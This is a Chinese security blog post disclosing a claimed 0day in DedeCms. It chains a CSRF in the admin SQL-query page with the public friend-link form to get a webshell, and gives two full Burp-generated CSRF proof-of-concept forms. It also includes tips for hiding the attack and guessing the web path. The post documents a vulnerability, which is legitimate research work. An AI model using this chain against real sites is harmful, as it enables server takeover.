织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统。

最近我在搭建这个系统的时候偶然间发现了一个有趣的现象,织梦的后台竟然有一个可以直接执行SQL语句的功能,出于职业敏感,能直接执行SQL语句的地方往往会有一些漏洞。又经过一番查找发现了它后台存在一个CSRF的漏洞,一般情况下像这种漏洞都是不怎么能引起人们的关注的,毕竟是要通过交互才能起作用,而且起的作用还不大。以为到此就结束了吗?并不是。

这里根本形不成一个有效的攻击链,不过我又发现了一个很有意思的地方,这个cms是可以在前台直接提交友链申请的,那么问题来了?你提交了友链申请管理员审核的时候怎么可能不去浏览一下你的网站。于是有了下面的一套getshell的流程。

受影响的版本<=官方最新版本(V57UTF8SP2)这是一个0day哦!!

实验环境 :win10,wamp

1.首先我们构造一个向数据库中插入SHELL语句的恶意页面

(这里我多次清除cookie,多次关闭浏览器进行测试发现,该页面的效果不受其他因素影响均可正常执行),这段代码的作用就是像数据库中插入我们的shell code。

页面的代码如下:

 <html> <!-- CSRF PoC - generated by Burp Suite Professional -->   <body>   <form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">       <input type="hidden" name="dopost" value="query" />       <input type="hidden" name="querytype" value="2" />       <input type="hidden" name="sqlquery" value="INSERT&#32;INTO&#32;dede&#95;flink&#40;id&#44;sortrank&#44;url&#44;webname&#44;msg&#44;email&#44;logo&#44;dtime&#44;typeid&#44;ischeck&#41;VALUES&#40;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;www&#46;baidu&#46;com&apos;&#44;&apos;1&apos;&#44;&apos;&lt;&#63;php&#32;phpinfo&#40;&#41;&#59;&#63;&gt;&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#44;&apos;1&apos;&#41;&#59;" />       <input type="hidden" name="imageField&#46;x" value="42" />       <input type="hidden" name="imageField&#46;y" value="17" />       <input type="submit" value="Submit request" />     </form> </body> </html>

2.此时我将该页面放置在我自己的服务器上

这里就可以随便放置一个地方,为了更加形象,你可以在页面上做一些操作,比如加上JS代码使得管理员访问页面的时候不会跳转,这样更神不知鬼不觉了。

3.然后我去受害网站上提交一个友链申请

将我自己网站上的恶意页面链接填入。这个链接直接对应你构造好的恶意页面。

4.然后提交,等待管理员审核

管理员审核友链时定会查看友链所链接的内容。(管理员既然可以看到该链接证明此时一定处于登陆状态)

5.只要是管理员查看了我们申请友链的链接那么就触发了恶意代码的执行

此时我们可以看到数据库中被插入了恶意代码。这里的代码可以自定义,根据你想做的操作自定义就可以了。这里我就是做实验,就是用了<?php phpinfo() ?>

6.此时无论管理员通过或者是不通过,我们的代码已经插入

此时我们构造生成shell的恶意页面,页面代码如下,构造完成之后同样放在我们自己的服务器上。(这里构造时,我们需要知道网站的路径,这里知道相对路径或者时绝对路径都是可以的。路径的获取方式:一个网站的搭建大多数采用 phpstudy wamp 或者原生态的在PHP下的www目录,这里很好猜测。或者直接请求一个网站上不存在的资源一般会爆出相对路径,或者去访问一篇文章分析路径,再或者用AWVS直接拿到路径,反正这里获取路径的方式特别多)

下面这段代码的作用是把我们刚刚插入的shell code生成一个php页面。

 <html>   <!-- CSRF PoC - generated by Burp Suite Professional -->   <body>   < form action="http://127.0.0.1/dedecms/dede/sys_sql_query.php" method="POST">       <input type="hidden" name="dopost" value="query" />       <input type="hidden" name="querytype" value="2" />       <input type="hidden" name="sqlquery" value="SELECT&#32;msg&#32;FROM&#32;dede&#95;flink&#32;WHERE&#32;url&#61;&quot;www&#46;baidu&#46;com&quot;&#32;INTO&#32;OUTFILE&#32;&quot;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;&#46;&#46;&#47;www&#47;dedecms&#47;21111&#46;php&quot;" />       <input type="hidden" name="imageField&#46;x" value="38" />       <input type="hidden" name="imageField&#46;y" value="15" />       <input type="submit" value="Submit request" />     </form>   </body></html>

7.此时我们如上步骤3所示,提交一个该页面的友链申请

当管理员查看该页面时触发代码的执行,在服务器端生成一个我们自定义名称的shell。然后我们去访问我们的SHELL。可以看到执行成功。

这就是在一次测试环境中找到的一个逻辑漏洞,有时候我们会经常发现一些微不足道的小漏洞之类的,单个的看起来是没有什么作用但是多个微不足道的小漏洞结合起来往往会收到超出预期的效果。

*本文原创作者:sjy93812